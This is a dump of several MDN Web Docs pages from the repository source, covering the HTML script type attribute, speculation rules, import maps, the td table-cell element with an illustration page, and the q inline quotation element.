--- title: "<script>: type attribute" slug: Web/HTML/Element/script/type page-type: html-attribute browser-compat: html.elements.script.type --- {{HTMLSidebar}} The **`type`** attribute of the [`<script>`](/en-US/docs/Web/HTML/Element/script) element indicates the _type_ of script represented by the element: a classic script, an import map, a JavaScript module, speculation rules, or a data block. ## Value The value of this attribute indicates the type of data represented by the script, and will be one of the following: - **Attribute is not set (default), an empty string, or a JavaScript MIME type** - : Indicates that the script is a "classic script", containing JavaScript code. Authors are encouraged to omit the attribute if the script refers to JavaScript code rather than specify a MIME type. JavaScript MIME types are [listed in the IANA media types specification](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#textjavascript). - [`importmap`](/en-US/docs/Web/HTML/Element/script/type/importmap) - : This value indicates that the body of the element contains an import map. The import map is a JSON object that developers can use to control how the browser resolves module specifiers when importing [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps). - `module` - : This value causes the code to be treated as a JavaScript module. The processing of the script contents is deferred. The `charset` and `defer` attributes have no effect. For information on using `module`, see our [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules) guide. Unlike classic scripts, module scripts require the use of the CORS protocol for cross-origin fetching. - [`speculationrules`](/en-US/docs/Web/HTML/Element/script/type/speculationrules) {{experimental_inline}} - : This value indicates that the body of the element contains speculation rules. Speculation rules take the form of a JSON object that determine what resources should be prefetched or prerendered by the browser. This is part of the {{domxref("Speculation Rules API", "", "", "nocode")}}. - **Any other value** - : The embedded content is treated as a data block, and won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. All of the other attributes will be ignored, including the `src` attribute. > **Note:** In earlier browsers, the type identified the scripting language of the embedded or imported (via the `src` attribute) code. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/element/script/type
data/mdn-content/files/en-us/web/html/element/script/type/speculationrules/index.md
--- title: <script type="speculationrules"> slug: Web/HTML/Element/script/type/speculationrules page-type: html-attribute-value status: - experimental browser-compat: html.elements.script.type.speculationrules --- {{HTMLSidebar}}{{SeeCompatTable}} The **`speculationrules`** value of the [`type`](/en-US/docs/Web/HTML/Element/script/type) attribute of the [`<script>` element](/en-US/docs/Web/HTML/Element/script) indicates that the body of the element contains speculation rules. Speculation rules take the form of a JSON structure that determine what resources should be prefetched or prerendered by the browser. This is part of the {{domxref("Speculation Rules API", "", "", "nocode")}}. ## Syntax ```html <script type="speculationrules"> // JSON object defining rules </script> ``` > **Note:** The `src`, `async`, `nomodule`, `defer`, `crossorigin`, `integrity`, and `referrerpolicy` attributes must not be specified. ### Exceptions - `TypeError` - : The speculation rules definition is not a valid JSON object. ## Description A `<script type="speculationrules">` element must contain a valid JSON structure that defines speculation rules. The following examples show separate prefetch and prerender rules: ```html <script type="speculationrules"> { "prefetch": [ { "source": "list", "urls": ["next.html", "next2.html"], "requires": ["anonymous-client-ip-when-cross-origin"], "referrer_policy": "no-referrer" } ] } </script> ``` ```html <script type="speculationrules"> { "prerender": [ { "source": "list", "urls": ["next3.html", "next4.html"] } ] } </script> ``` ### Speculation rules JSON representation The JSON structure contains one or more fields at the top level, each one representing an action to define speculation rules for. At present the supported actions are: - `"prefetch"` {{optional_inline}} {{experimental_inline}} - : Rules for potential future navigations that should have their associated document response body downloaded, leading to significant performance improvements when those documents are navigated to. Note that none of the subresources referenced by the page are downloaded. - `"prerender"` {{optional_inline}} {{experimental_inline}} - : Rules for potential future navigations that should have their associated documents fully downloaded, rendered, and loaded into an invisible tab. This includes loading all subresources, running all JavaScript, and even loading subresources and performing data fetches started by JavaScript. When those documents are navigated to, navigations will be instant, leading to major performance improvements. > **Note:** Consult the [Speculation Rules API](/en-US/docs/Web/API/Speculation_Rules_API) main page for full details on how to use prefetch and prerender effectively. Each action field contains an array, which in turn contains one or more objects. Each object contains a single rule defining a set of URLs and related parameters. Specifically, each object can contain the following properties: - `"source"` - : A string representing the source of the URLs to which the rule applies. Possible values are: - `"list"` - : Denotes that the URLs will come from a specific list. - `"urls"` {{experimental_inline}} - : An array of strings representing the list of URLs to apply the rule to. These can be absolute or relative URLs. Relative URLs will be parsed relative to the document base URL (if inline in a document) or relative to the external resource URL (if externally fetched). - `"requires"` {{optional_inline}} {{experimental_inline}} - : An array of strings representing capabilities of the browser parsing the rule, which must be available if the rule is to be applied to the specified URLs. > **Warning:** Prefetches will automatically fail in browsers that cannot meet a specified requirement, even if they support the [Speculation Rules API](/en-US/docs/Web/API/Speculation_Rules_API). Possible values are: - `"anonymous-client-ip-when-cross-origin"` - : `"prefetch"`-only. Specifies that the rule matches only if the user agent can prevent the client IP address from being visible to the origin server if a cross-origin prefetch request is issued. Exactly how this works is dependent on browser implementation specifics. For example: - Chrome's implementation hides the IP address using a Google-owned proxy, therefore by default it only works for Google-controlled referrers (since in that case, sending the URLs of the destination to Google is not an additional privacy leak). When used on a non-Google-owned site, rules that include this will only match for users that turn on "Enhanced preloading" in `chrome://settings/preloading`. - Other Chromium-based browsers will have to provide their own solutions. Thorough testing in all target browsers is advised. - A future Safari implementation may possibly use something along the lines of [iCloud Private Relay](https://support.apple.com/en-us/102602). - A future Firefox implementation might use something based on the [Mozilla VPN](https://www.mozilla.org/en-US/products/vpn/) product. - `"referrer_policy"` {{optional_inline}} {{experimental_inline}} - : A string representing a specific referrer policy string to use when requesting the URLs specified in the rule — see [`Referrer-Policy`](/en-US/docs/Web/HTTP/Headers/Referrer-Policy) for possible values. The purpose of this is to allow the referring page to set a stricter policy specifically for the speculative request than the policy the page already has set (either by default, or by using `Referrer-Policy`). A laxer policy set in the speculation rules will not override a stricter policy set on the referring page. > **Note:** As speculation rules use a `<script>` element, they need to be explicitly allowed in the [`Content-Security-Policy`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) [`script-src`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) directive if the site includes it. This is done by adding the `"inline-speculation-rules"` value along with a hash- or nonce-source. ### Further examples The earlier examples showed separate speculation rules defined for prefetch and prerender. It is possible to define both in a single set of rules: ```html <script type="speculationrules"> { "prefetch": [ { "source": "list", "urls": ["next.html", "next2.html"], "requires": ["anonymous-client-ip-when-cross-origin"], "referrer_policy": "no-referrer" } ], "prerender": [ { "source": "list", "urls": ["next3.html", "next4.html"] } ] } </script> ``` It is also allowable to include multiple sets of rules in a single HTML file: ```html <script type="speculationrules"> { "prefetch": [ { "source": "list", "urls": ["next.html", "next2.html"], "requires": ["anonymous-client-ip-when-cross-origin"], "referrer_policy": "no-referrer" } ] } </script> <script type="speculationrules"> { "prerender": [ { "source": "list", "urls": ["next3.html", "next4.html"] } ] } </script> ``` And multiple rules in a single result set: ```js <script type="speculationrules"> { "prerender": [ { "source": "list", "urls": ["one.html"] }, { "source": "list", "urls": ["two.html"] } ] } </script> ``` ### Dynamic rule insertion Below is an example that feature detects speculation rules and, if supported, dynamically adds a prerender speculation rule via JavaScript: ```js if ( HTMLScriptElement.supports && HTMLScriptElement.supports("speculationrules") ) { const specScript = document.createElement("script"); specScript.type = "speculationrules"; const specRules = { prerender: [ { source: "list", urls: ["/next.html"], }, ], }; specScript.textContent = JSON.stringify(specRules); console.log("added speculation rules to: next.html"); document.body.append(specScript); } ``` You can see this in action in this [prerender demos](https://prerender-demos.glitch.me/) page. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Prerender pages in Chrome for instant page navigations](https://developer.chrome.com/blog/prerender-pages/) on developer.chrome.com (2023) - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) - [Speculation Rules API](/en-US/docs/Web/API/Speculation_Rules_API)
0
data/mdn-content/files/en-us/web/html/element/script/type
data/mdn-content/files/en-us/web/html/element/script/type/importmap/index.md
--- title: <script type="importmap"> slug: Web/HTML/Element/script/type/importmap page-type: html-attribute-value browser-compat: html.elements.script.type.importmap --- {{HTMLSidebar}} The **`importmap`** value of the [`type`](/en-US/docs/Web/HTML/Element/script/type) attribute of the [`<script>` element](/en-US/docs/Web/HTML/Element/script) indicates that the body of the element contains an import map. An import map is a JSON object that allows developers to control how the browser resolves module specifiers when importing [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules). It provides a mapping between the text used as the module specifier in an [`import` statement](/en-US/docs/Web/JavaScript/Reference/Statements/import) or [`import()` operator](/en-US/docs/Web/JavaScript/Reference/Operators/import), and the corresponding value that will replace the text when resolving the specifier. The JSON object must conform to the [Import map JSON representation format](#import_map_json_representation). An import map is used to resolve module specifiers in static and dynamic imports, and therefore must be declared and processed before any `<script>` elements that import modules using specifiers declared in the map. Note that the import map applies only to module specifiers in the [`import` statement](/en-US/docs/Web/JavaScript/Reference/Statements/import) or [`import()` operator](/en-US/docs/Web/JavaScript/Reference/Operators/import) for modules loaded into documents; it does not apply to the path specified in the `src` attribute of a `<script>` element or to modules loaded into workers or worklets. For more information, see the [Importing modules using import maps](/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) section in the JavaScript modules guide. ## Syntax ```html <script type="importmap"> // JSON object defining import </script> ``` The `src`, `async`, `nomodule`, `defer`, `crossorigin`, `integrity`, and `referrerpolicy` attributes must not be specified. Only the first import map in the document with an inline definition is processed; any additional import maps and external import maps are ignored. ### Exceptions - `TypeError` - : The import map definition is not a JSON object, the `importmap` key is defined but its value is not a JSON object, or the `scopes` key is defined but its value is not a JSON object. Browsers generate console warnings for other cases where the import map JSON does not conform to the [import map](#import_map_json_representation) schema. An [`error` event](/en-US/docs/Web/API/HTMLElement/error_event) is fired at script elements with `type="importmap"` that are not processed. This might occur, for example, if module loading has already started when an import map is processed, or if multiple import maps are defined in the page. ## Description When importing a [JavaScript module](/en-US/docs/Web/JavaScript/Guide/Modules), both the [`import` statement](/en-US/docs/Web/JavaScript/Reference/Statements/import) and [`import()` operator](/en-US/docs/Web/JavaScript/Reference/Operators/import) have a "module specifier" that indicates the module to be imported. A browser must be able to resolve this specifier to an absolute URL in order to import the module. For example, the following statements import elements from the module specifier `"./modules/shapes/square.js"`, which is a path relative to the base URL of the document, and the module specifier `"https://example.com/shapes/circle.js"`, which is an absolute URL. ```js import { name as squareName, draw } from "./modules/shapes/square.js"; import { name as circleName } from "https://example.com/shapes/circle.js"; ``` Import maps allow developers to specify (almost) any text they want in the module specifier; the map provides a corresponding value that will replace the text when the module specifier is resolved. ### Bare modules The import map below defines an `imports` key that has a "module specifier map" with properties `square` and `circle`. ```html <script type="importmap"> { "imports": { "square": "./module/shapes/square.js", "circle": "https://example.com/shapes/circle.js" } } </script> ``` With this import map we can import the same modules as above, but using "bare modules" in our module specifiers: ```js import { name as squareName, draw } from "square"; import { name as circleName } from "circle"; ``` ### Mapping path prefixes A module specifier map key can also be used to remap a path prefix in a module specifier. Note that in this case the property and mapped path must both have a trailing forward slash (`/`). ```html <script type="importmap"> { "imports": { "shapes/": "./module/shapes/", "othershapes/": "https://example.com/modules/shapes/" } } </script> ``` We could then import a circle module as shown. ```js import { name as circleName } from "shapes/circle.js"; ``` ### Paths in the module specifier map key Module specifier keys do not have to be single word names ("bare names"). They can also contain or end with path separators, or be absolute URLs, or be relative URL paths that start with `/`, `./`, or `../`. ```json { "imports": { "modules/shapes/": "./module/src/shapes/", "modules/square": "./module/src/other/shapes/square.js", "https://example.com/modules/square.js": "./module/src/other/shapes/square.js", "../modules/shapes/": "/modules/shapes/" } } ``` If there are several module specifier keys in a module specifier map that might match, then the most specific key will be selected (i.e. the one with the longer path/value). A module specifier of `./foo/../js/app.js` would be resolved to `./js/app.js` before matching. This means that a module specifier key of `./js/app.js` would match the module specifier even though they are not exactly the same. ### Scoped module specifier maps You can use the `scopes` key to provide mappings that are only used if the script importing the module contains a particular URL path. If the URL of the loading script matches the supplied path, the mapping associated with the scope will be used. This allows different versions of the module to be used depending on what code is doing the importing. For example, the map below will only use the scoped map if the loading module has a URL that includes the path: "/modules/customshapes/". ```html <script type="importmap"> { "imports": { "square": "./module/shapes/square.js" }, "scopes": { "/modules/customshapes/": { "square": "https://example.com/modules/shapes/square.js" } } } </script> ``` If multiple scopes match the referrer URL, then the most specific scope path is used (the scope key name with the longest name). The browser falls back to the next most specific scoped path if there is no matching specifier, and so on, eventually falling back to the module specifier map in the `imports` key. ## Import map JSON representation The following is a "formal" definition of the import map JSON representation. The import map must be a valid JSON object that can define at most two optional keys: `imports` and `scopes`. Each key's value must be an object, which may be empty. - `imports` {{optional_inline}} - : The value is a [module specifier map](#module_specifier_map), which provides the mappings between module specifier text that might appear in an `import` statement or `import()` operator, and the text that will replace it when the specifier is resolved. This is the fallback map that is searched for matching module specifiers if no `scopes` path URLs match, or if module specifier maps in matching `scopes` paths do not contain a key that matches the module specifier. - `<module specifier map>` - : A "module specifier map" is a valid JSON object where the _keys_ are text that may be present in the module specifier when importing a module, and the corresponding _values_ are the URLs or paths that will replace this text when the module specifier is resolved to an address. The module specifier map JSON object has the following requirements: - None of the keys may be empty. - All of the values must be strings, defining either a valid absolute URL or a valid URL string that starts with `/`, `./`, or `../`. - If a key ends with `/`, then the corresponding value must also end with `/`. A key with a trailing `/` can be used as a prefix for when mapping (or remapping) modules addresses. - The object properties' ordering is irrelevant: if multiple keys can match the module specifier, the most specific key is used (in other words, a specifier "olive/branch/" would match before "olive/"). - `scopes` {{optional_inline}} - : Scopes define path-specific [module specifier maps](#module_specifier_map), allowing the choice of map to depend on the path of the code importing the module. The scopes object is a valid JSON object where each property is a `<scope key>`, which is an URL path, with a corresponding value that is a `<module specifier map>`. If the URL of a script importing a module matches a `<scope key>` path, then the `<module specifier map>` value associated with the key is checked for matching specifiers first. If there are multiple matching scope keys, then the value associated with the most specific/nested scope paths are checked for matching module specifiers first. The fallback module specifier map in `imports` is used if there are no matching module specifier keys in any of the matching scoped module specifier maps. Note that the scope does not change how an address is resolved; relative addresses are always resolved to the import map base URL. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [JavaScript modules > Importing modules using import maps](/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) - [The `type` attribute of HTML `<script>` elements](/en-US/docs/Web/HTML/Element/script#type) - [`import` statement](/en-US/docs/Web/JavaScript/Reference/Statements/import) - [`import()` operator](/en-US/docs/Web/JavaScript/Reference/Operators/import)
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/td/index.md
--- title: "<td>: The Table Data Cell element" slug: Web/HTML/Element/td page-type: html-element browser-compat: html.elements.td --- {{HTMLSidebar}} The **`<td>`** [HTML](/en-US/docs/Web/HTML) element defines a cell of a table that contains data and may be used as a child of the {{HTMLElement("tr")}} element. {{EmbedInteractiveExample("pages/tabbed/td.html","tabbed-taller")}} ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `colspan` - : Contains a non-negative integer value that indicates how many columns the data cell spans or extends. The default value is `1`. User agents dismiss values higher than 1000 as incorrect, setting to the default value (`1`). - `headers` - : Contains a list of space-separated strings, each corresponding to the `id` attribute of the {{HTMLElement("th")}} elements that provide headings for this table cell. - `rowspan` - : Contains a non-negative integer value that indicates for how many rows the data cell spans or extends. The default value is `1`; if its value is set to `0`, it extends until the end of the table grouping section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, even if implicitly defined), that the cell belongs to. Values higher than `65534` are clipped to `65534`. ### Deprecated attributes The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only. - `abbr` {{deprecated_inline}} - : Contains a short abbreviated description of the data cell's content. Some user-agents, such as speech readers, may present this description before the content itself. Put the abbreviated content inside the cell and place the (longer) description in the [`title`](/en-US/docs/Web/HTML/Global_attributes/title) attribute, as this attribute is deprecated. Or, preferably, include the content within the data cell, and use CSS to [visually clip overflowing text](/en-US/docs/Web/CSS/text-overflow). - `align` {{deprecated_inline}} - : Specifies the horizontal alignment of the data cell. The possible {{Glossary("enumerated")}} values are `left`, `center`, `right`, `justify`, and `char`. When supported, the `char` value aligns the textual content on the character defined in the [`char`](#char) attribute and the offset defined by the [`charoff`](#charoff) attribute. Use the {{cssxref("text-align")}} CSS property instead, as this attribute is deprecated. - `axis` {{deprecated_inline}} - : Contains a list of space-separated strings, each corresponding to the `id` attribute of a group of cells that the data cell applies to. - `bgcolor` {{deprecated_inline}} - : Defines the background color of the data cell. The value is an HTML color; either a [6-digit hexadecimal RGB code](/en-US/docs/Web/CSS/hex-color), prefixed by a '`#`', or a [color keyword](/en-US/docs/Web/CSS/named-color). Other CSS {{cssxref("color_value", "&lt;color&gt")}} values are not supported. Use the {{cssxref("background-color")}} CSS property instead, as this attribute is deprecated. - `char` {{deprecated_inline}} - : Specifies the alignment of the content to a character of the data cell. Typical values for this include a period (`.`) when attempting to align numbers or monetary values. If [`align`](#align) is not set to `char`, this attribute is ignored. - `charoff` {{deprecated_inline}} - : Specifies the number of characters to offset the data cell content from the alignment character specified by the [`char`](#char) attribute. - `height` {{deprecated_inline}} - : Defines a recommended data cell height. Use the {{cssxref("height")}} CSS property instead, as this attribute is deprecated. - `scope` {{deprecated_inline}} - : Defines the cells that the header (defined in the {{HTMLElement("th")}}) element relates to. The possible {{Glossary("enumerated")}} values are `row`, `col`, `rowgroup`, and `colgroup`. Only use this attribute with the {{HTMLElement("th")}} element to define the row or column for which it is a header, as this attribute is deprecated for the `<td>` element. - `valign` {{deprecated_inline}} - : Specifies the vertical alignment of the data cell. The possible {{Glossary("enumerated")}} values are `baseline`, `bottom`, `middle`, and `top`. Use the {{cssxref("vertical-align")}} CSS property instead, as this attribute is deprecated. - `width` {{deprecated_inline}} - : Defines a recommended data cell width. Use the {{cssxref("width")}} CSS property instead, as this attribute is deprecated. ## Usage notes - The `<td>` may only be used within a {{HTMLElement("tr")}} element. - When using the [`colspan`](#colspan) and [`rowspan`](#rowspan) attributes to span data cells across multiple columns and rows, cells without these attributes defined (with a default value of `1`) are automatically fitted into free available spaces in the table structure that span 1x1 cells, as illustrated in the following figure: ![Illustration demonstrating column and row spanning of table cells: cells 1, 3, and 4 spanning two rows; cell 2 spanning two columns; cells 5 and 6 fitting into the available cells that are the second and third columns in the second row](column-row-span.png) > **Note:** These attributes must not be used to overlap cells. ## Examples See {{HTMLElement("table")}} for a complete table example introducing common standards and best practices. ### Basic data cells This example uses `<td>` elements along with other table-related elements to introduce a basic table with data about the phonetic alphabet. #### HTML Some table rows ({{HTMLElement("tr")}} elements) contain both header cells ({{HTMLElement("th")}} elements) and data cell `<td>` elements. The {{HTMLElement("th")}} element that is the first child of each row forms the first column of the table, with each `<th>` providing the row header for the data cells within that row. Each corresponding `<td>` element contains data aligned with its respective column header and row header cell. > **Note:** Normally, a table head group with column headers would be implemented to make it easier to understand the information in the columns. The {{HTMLElement("thead")}} and {{HTMLElement("tbody")}} elements would be used to group such rows of headers and data into the respective table head and body sections. This is not implemented in this example to focus on the data cells and reduce the complexity of this example. ```html <table> <tr> <th scope="row">A</th> <td>Alfa</td> <td>AL fah</td> </tr> <tr> <th scope="row">B</th> <td>Bravo</td> <td>BRAH voh</td> </tr> <tr> <th scope="row">C</th> <td>Charlie</td> <td>CHAR lee</td> </tr> <tr> <th scope="row">D</th> <td>Delta</td> <td>DELL tah</td> </tr> </table> ``` #### CSS Some basic CSS is used to style the table and its cells. CSS [attribute selectors](/en-US/docs/Web/CSS/Attribute_selectors) and the {{cssxref(":nth-of-type")}} pseudo-class are used to alternate the appearance of the cells to make the information in the table easier to understand and identify. ```css td, th { border: 1px solid rgb(160 160 160); padding: 8px 10px; } tr:nth-of-type(odd) td { background-color: #eee; } tr th[scope="row"] { background-color: #d6ecd4; } ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } ``` #### Result {{EmbedLiveSample("Basic_data_cells", 650, 140)}} ### Column and row spanning This example extends and enhances the basic table from the [previous example](#basic_data_cells) by adding an additional "ABC" cell. #### HTML An additional data cell (`<td>` element) is introduced within the first row ({{HTMLElement("tr")}} element). This creates a fourth column in the table. Using the [`rowspan`](#rowspan) attribute, the "ABC" cell is spanned across the first three rows of the table. The last data cells of the subsequent rows each span two columns. This is done using the [`colspan`](#colspan) attribute, aligning them correctly within the table structure. Note that an additional row ({{HTMLElement("tr")}} element) is added to the table to illustrate this. ```html <table> <tr> <th scope="row">A</th> <td>Alfa</td> <td>AL fah</td> <td rowspan="3">ABC</td> </tr> <tr> <th scope="row">B</th> <td>Bravo</td> <td>BRAH voh</td> </tr> <tr> <th scope="row">C</th> <td>Charlie</td> <td>CHAR lee</td> </tr> <tr> <th scope="row">D</th> <td>Delta</td> <td colspan="2">DELL tah</td> </tr> <tr> <th scope="row">E</th> <td>Echo</td> <td colspan="2">ECK oh</td> </tr> </table> ``` #### CSS The {{cssxref(":first-of-type")}} and {{cssxref(":last-of-type")}} pseudo-classes are used in the CSS to select and style the added "ABC" data cell. ```css tr:first-of-type td:last-of-type { width: 60px; background-color: #505050; color: #fff; font-weight: bold; text-align: center; } td, th { border: 1px solid rgb(160 160 160); padding: 8px 10px; } tr:nth-of-type(odd) td { background-color: #eee; } tr th[scope="row"] { background-color: #d6ecd4; } ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } ``` #### Result {{EmbedLiveSample("Column_and_row_spanning", 650, 170)}} ### Associate data cells with header cells For more complex relationships between data cells (`<td>` elements) and header cells ({{HTMLElement("th")}} elements), using {{HTMLElement("th")}} elements with the [`scope`](/en-US/docs/Web/HTML/Element/th#scope) attribute alone may not be sufficient for assistive technologies, especially screen readers. #### HTML To improve the {{Glossary("accessibility", "accessibility")}} of the [previous example](#column_and_row_spanning) and to allow screen readers, for example, to speak the headers associated with each data cell, the [`headers`](#headers) attribute can be introduced along with [`id`](/en-US/docs/Web/HTML/Global_attributes/id) attributes. Each row header cell ({{HTMLElement("th")}} element) associated with the "ABC" data cell, i.e., the letters "A", "B", and "C", is given a unique identifier with the [`id`](/en-US/docs/Web/HTML/Global_attributes/id) attribute. The "ABC" data cell (`<td>` element) then uses these `id` values in a space-separated list for the [`headers`](#headers) attribute. > **Note:** It's recommended to use more descriptive and useful values for the [`id`](/en-US/docs/Web/HTML/Global_attributes/id) attribute. Each `id` in a document must be unique to that document. In this example, the `id` values are single characters to maintain focus on the concept of the [`headers`](#headers) attribute. ```html <table> <tr> <th id="a" scope="row">A</th> <td>Alfa</td> <td>AL fah</td> <td headers="a b c" rowspan="3">ABC</td> </tr> <tr> <th id="b" scope="row">B</th> <td>Bravo</td> <td>BRAH voh</td> </tr> <tr> <th id="c" scope="row">C</th> <td>Charlie</td> <td>CHAR lee</td> </tr> <tr> <th scope="row">D</th> <td>Delta</td> <td colspan="2">DELL tah</td> </tr> <tr> <th scope="row">E</th> <td>Echo</td> <td colspan="2">ECK oh</td> </tr> </table> ``` #### Result While the [visual result](#result_2) is unchanged from the [previous example table](#column_and_row_spanning), each data cell (`<td>`) is now explicitly associated with its row header cell (`<th>`). ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>Sectioning root.</td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td> The start tag is mandatory.<br />The end tag may be omitted, if it is immediately followed by a {{HTMLElement("th")}} or {{HTMLElement("td")}} element or if there are no more data in its parent element. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td>A {{HTMLElement("tr")}} element.</td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Cell_Role" >cell</a ></code > if a descendant of a {{HTMLElement("table")}} element </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLTableCellElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Learn: HTML tables](/en-US/docs/Learn/HTML/Tables) - {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}: Other table-related elements - {{cssxref("background-color")}}: CSS property to set the background color of each data cell - {{cssxref("border")}}: CSS property to control borders of data cells - {{cssxref("height")}}: CSS property to control the recommended data cell height - {{cssxref("text-align")}}: CSS property to horizontally align each data cell content - {{cssxref("vertical-align")}}: CSS property to vertically align each data cell content - {{cssxref("width")}}: CSS property to control the recommended data cell width - {{cssxref(":nth-of-type")}}, {{cssxref(":first-of-type")}}, {{cssxref(":last-of-type")}}: CSS pseudo-classes to select the desired data cells
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/td/column-row-span.html
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Column and row span</title> <style> body { margin: 0; padding: 15px; width: max-content; font-family: "Arial", sans-serif; font-size: 14px; letter-spacing: 0.05em; color: #15141a; background: #ffffff; } table { border-collapse: collapse; border: 2px solid rgb(140, 140, 140); } caption { padding-bottom: 10px; font-weight: bold; } tbody { background-color: #e4f0f5; } td { box-sizing: border-box; isolation: isolate; position: relative; border: 1px solid rgb(160, 160, 160); width: 130px; height: 65px; text-align: center; vertical-align: middle; color: #ffffff; } td .separator { z-index: -2; position: absolute; top: 50%; right: 0; left: 0; border: 1px dashed rgba(160, 160, 160, 0.3); } tr:first-of-type td:nth-child(2) .separator { top: 0; right: auto; bottom: 0; left: 50%; } tr:first-of-type td::before, .cell::before { content: ""; z-index: -1; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); border-radius: 50%; width: 26px; aspect-ratio: 1 / 1; background-color: #2c5e77; } tr:last-of-type td::before { content: ""; z-index: -1; position: absolute; inset: 0; background: repeating-linear-gradient( 45deg, #64696b, #64696b 10px, #4a4d4e 10px, #4a4d4e 20px ); } tr:first-of-type td::after { content: "⟵ rowspan 2 ⟶"; position: absolute; left: 40%; rotate: -90deg; width: 100%; font-weight: bold; text-align: center; color: #15141a; } tr:first-of-type td:nth-child(2):after { content: "⟵ colspan 2 ⟶"; bottom: 0; left: 50%; transform: translateX(-50%); rotate: unset; } .cells { display: flex; gap: 15px; margin-top: 15px; margin-left: 15px; } .cell { box-sizing: border-box; isolation: isolate; position: relative; border: 1px solid rgb(160, 160, 160); display: grid; place-items: center; width: 130px; height: 65px; text-align: center; color: #ffffff; background-color: #e4f0f5; } .cell::after { content: "⇡"; position: absolute; top: 0; left: 86%; transform: translateY(-56%); rotate: 30deg; font-weight: bold; font-size: 30px; color: #15141a; } </style> </head> <body> <table> <caption> Illustration demonstrating column and row spanning of table cells </caption> <tr> <td rowspan="2"><span class="separator"></span>1</td> <td colspan="2"><span class="separator"></span>2</td> <td rowspan="2"><span class="separator"></span>3</td> <td rowspan="2"><span class="separator"></span>4</td> </tr> <tr> <td></td> <td></td> </tr> </table> <div class="cells"> <div class="cell">5</div> <div class="cell">6</div> </div> </body> </html>
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/q/index.md
--- title: "<q>: The Inline Quotation element" slug: Web/HTML/Element/q page-type: html-element browser-compat: html.elements.q --- {{HTMLSidebar}} The **`<q>`** [HTML](/en-US/docs/Web/HTML) element indicates that the enclosed text is a short inline quotation. Most modern browsers implement this by surrounding the text in quotation marks. This element is intended for short quotations that don't require paragraph breaks; for long quotations use the {{HTMLElement("blockquote")}} element. {{EmbedInteractiveExample("pages/tabbed/q.html", "tabbed-shorter")}} ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `cite` - : The value of this attribute is a URL that designates a source document or message for the information quoted. This attribute is intended to point to information explaining the context or the reference for the quote. ## Examples ```html <p> According to Mozilla's website, <q cite="https://www.mozilla.org/en-US/about/history/details/"> Firefox 1.0 was released in 2004 and became a big success. </q> </p> ``` ### Result {{EmbedLiveSample('Example')}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/generic_role" >generic</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLQuoteElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The {{HTMLElement("blockquote")}} element for long quotations. - The {{HTMLElement("cite")}} element for source citations.
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/meta/index.md
